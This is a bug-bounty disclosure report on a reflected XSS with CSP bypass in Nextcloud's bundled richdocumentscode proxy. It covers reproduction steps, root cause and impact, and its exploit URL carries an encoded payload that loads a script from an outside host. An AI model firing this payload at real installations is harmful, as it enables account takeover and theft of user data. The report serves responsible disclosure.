Lucene search

K
hackeroneLukasreschkeH1:1893186
HistoryMar 06, 2023 - 1:30 p.m.

Nextcloud: Reflected XSS vulnerability with full CSP bypass in Nextcloud installations using recommended bundle

2023-03-0613:30:37
lukasreschke
hackerone.com
35
xss vulnerability
csp bypass
account takeover
nextcloud installation
docker
exploitation
collabora online
content security policy
trivial account takeover
web security
cross-site scripting

EPSS

0.001

Percentile

34.0%

Summary:

The vulnerability report describes a reflected XSS vulnerability with full CSP bypass in Nextcloud installations using the recommended bundle. The vulnerability can be exploited to perform a trivial account takeover attack.

Steps To Reproduce:

Setup Nextcloud

Download the latest Nextcloud release from Docker and run it on port 80:

docker run -d -p 80:80 nextcloud:latest

Open http://localhost in your browser and enter your chosen admin username and password. On the next screen install all recommended apps. The standard “Nextcloud Office” here will result in installing the vulnerable richdocumentscode application (see HubBundle.php):

{F2211280}

Exploitation

Open the following URL in your (or the victims) browser (the payload needs some extra encoding):

> http://localhost/custom_apps/richdocumentscode/proxy.php?req=/browser/a4b9c74/cool.html?WOPISrc=http://example.com:<img src%3D'' onerror%3D's%3Ddocument.createElement(String.fromCharCode(115%2C99%2C114%2C105%2C112%2C116))%3Bs.src%3DString.fromCharCode(47%2C 47%2C 49%2C 53%2C 46%2C 114%2C 115)%3Bdocument.body.appendChild(s)'>

There is a full CSP bypass as the proxy.php from the default shipped “richdocumentscode” is not using a regular Nextcloud controller but plain PHP code:

{F2211288}

Root cause

  1. Collabora Online is generating HTML documents using insecure string concatenation. (code pointer)
  2. The included proxy.php inside the “richdocumentscode” is not applying any of the default CSP policies of Nextcloud, as it is running on the same origin this can be used for a trivial account take over attack. (code pointer)

Impact

The vulnerability allows attackers to inject malicious code into web pages, which can be executed in the context of the victim’s browser session. This means that an attacker can steal sensitive data, such as login credentials or personal information, or perform unauthorized actions on behalf of the victim, such as modifying or deleting data.

In this specific case, the vulnerability allows for a trivial account takeover attack. An attacker can exploit the vulnerability to inject code into the victim’s browser session, allowing the attacker to take over the victim’s account without their knowledge or consent. This can lead to unauthorized access to sensitive information and data, as well as the ability to perform actions on behalf of the victim.

Furthermore, the fact that the vulnerability bypasses the Content Security Policy (CSP) makes it more dangerous, as CSP is an important security mechanism used to prevent cross-site scripting attacks. By bypassing CSP, attackers can circumvent the security measures put in place by the web application and execute their malicious code.

EPSS

0.001

Percentile

34.0%